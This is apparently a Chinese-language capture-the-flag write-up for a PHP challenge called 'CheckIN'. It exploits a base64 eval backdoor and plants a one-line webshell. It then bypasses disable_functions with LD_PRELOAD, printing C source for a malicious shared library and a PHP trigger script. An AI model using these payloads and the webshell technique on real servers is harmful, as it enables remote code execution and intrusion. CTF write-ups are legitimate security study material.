CheckIN
打开链接,得到源码
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
尝试用phpinfo();
/?Ginkgo=cGhwaW5mbygpOw==
发现禁用了很多函数
传入一句话木马,用蚁剑连接
eval($_POST[123]); ZXZhbCgkX1BPU1RbMTIzXSk7
发现flag,但是无法读取
这里需要绕过disable_funation函数,我们使用LD_PRELOAD绕过。LD_PRELOAD是一个linux系统的环境变量,由这个变量指定的so文件会在程序本身的so文件加载之前被加载。所以我们需要构造一个so文件和一个需要加载so文件的php程序,并且需要将LD_PRELOAD指定成我们构造的so文件。
步骤:
通过C语言,写一个恶意动态链接库文件hack.so→设置环境变量恶意的hack.so文件的路径→配合php中函数触发hack.so文件→RCE
1.c
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
system("/readflag > /var/tmp/flag.txt");
}
shell.php
<?php
putenv("LD_PRELOAD=/var/tmp/hack.so");
mail("", "", "", "");
error_log("",1,"","");
?>
访问php程序,无法直接访问到/var/tmp文件夹下面的php程序,我们通过include将php包含进来。
/?Ginkgo=aW5jbHVkZSgiL3Zhci90bXAvc2hlbGwucGhwIik7
最后得到flag